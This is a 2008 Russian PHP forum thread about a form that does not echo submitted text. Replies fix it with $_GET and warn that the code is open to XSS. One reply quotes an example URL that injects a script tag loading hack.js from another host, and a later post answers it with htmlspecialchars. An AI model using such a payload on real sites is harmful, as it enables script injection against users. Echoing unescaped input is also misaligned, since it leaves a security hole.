Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > PHP
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 19.01.2008, 12:41   #1
ERASERROR
Форумчанин
 
Регистрация: 15.01.2008
Сообщений: 117
Восклицание сообщение не выводится(echo)

Написал скрипт там текстовое поле и кнопка по нажатию кнопки должен вывести то что написано в текстовом поле, но ничего не происходит, вот код, может где то ошибся? <form method=get> <input type=text name=name value="<?php echo $_get('name') ?>"> <input type=submit value="send"> </form> <?php echo $_get('name') ?>
ERASERROR вне форума
Старый 19.01.2008, 16:10   #2
nntpaha
Пользователь
 
Аватар для nntpaha
 
Регистрация: 22.12.2007
Сообщений: 12
По умолчанию

может быть я ошибусь, но по моему я когда-то делал так
и если я правильно понял смысл задания
Код:
<?php
if(isset($txt))
{
   echo $txt;
}
else
{
   echo "<form method=get action='index.php'>";
   echo "<input type=text name=txt>";
   echo "<input type=submit value='ok'>";
   echo "</form>";
}
?>
nntpaha вне форума
Старый 19.01.2008, 17:22   #3
vitalik007
Дельфист
Форумчанин
 
Аватар для vitalik007
 
Регистрация: 14.08.2007
Сообщений: 317
По умолчанию

Цитата:
Сообщение от nntpaha Посмотреть сообщение
может быть я ошибусь, но по моему я когда-то делал так
и если я правильно понял смысл задания
Код:
<?php
if(isset($txt))
{
   echo $txt;
}
else
{
   echo "<form method=get action='index.php'>";
   echo "<input type=text name=txt>";
   echo "<input type=submit value='ok'>";
   echo "</form>";
}
?>
надо вместо $txt писать $_GET['txt']
ICQ-465033557
WINDOWS CE THE BEST
vitalik007 вне форума
Старый 19.01.2008, 17:36   #4
nntpaha
Пользователь
 
Аватар для nntpaha
 
Регистрация: 22.12.2007
Сообщений: 12
По умолчанию

это типо "хороший стиль программирования??"
или по другому работать не будет ??
nntpaha вне форума
Старый 19.01.2008, 19:02   #5
Никки
Форумчанин Подтвердите свой е-майл
 
Аватар для Никки
 
Регистрация: 20.11.2007
Сообщений: 500
По умолчанию

можно по другому, но если на сервере отключено register globals, то будет работать только так $_GET['txt']
и из соображений безопасности рекомендуется только так!
Никки вне форума
Старый 19.01.2008, 20:33   #6
nntpaha
Пользователь
 
Аватар для nntpaha
 
Регистрация: 22.12.2007
Сообщений: 12
По умолчанию

о, спасибо) понял)
nntpaha вне форума
Старый 21.01.2008, 18:20   #7
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

Этот код уязвим. XSS сделать не предоставляет никакого труда.
SkyM@n вне форума
Старый 21.01.2008, 19:17   #8
Никки
Форумчанин Подтвердите свой е-майл
 
Аватар для Никки
 
Регистрация: 20.11.2007
Сообщений: 500
По умолчанию

использование $_GET[var] $_POST[var] в скриптах более безопасно, чем просто $var
Никки вне форума
Старый 21.01.2008, 19:22   #9
SkyM@n
Laravel/Vue expert
Старожил Подтвердите свой е-майл
 
Аватар для SkyM@n
 
Регистрация: 08.08.2007
Сообщений: 2,832
По умолчанию

Речь не об этом.
Что если я сформирую ссылку подобного рода:
http://site.com/?txt=<script src='http://mysite.com/hack.js'></script>
SkyM@n вне форума
Старый 26.01.2008, 10:05   #10
~Last_^_Soul~
Пользователь
 
Регистрация: 26.01.2008
Сообщений: 16
По умолчанию

Цитата:
Сообщение от SkyM@n Посмотреть сообщение
Что если я сформирую ссылку подобного рода:
http://site.com/?txt=<script src='http://mysite.com/hack.js'></script>
тада в скрипт добавляем пару функций:
echo htmlspecialchars(stripslashes($_GET['txt']));
~Last_^_Soul~ вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Режим ECHO: выкл - бат файл MIGUR Операционные системы общие вопросы 8 13.05.2008 03:31
Icq сообщение Marsik Помощь студентам 2 10.04.2008 04:22
Как прочитать сообщение по ICQ? Иллидан Работа с сетью в Delphi 5 18.02.2008 18:33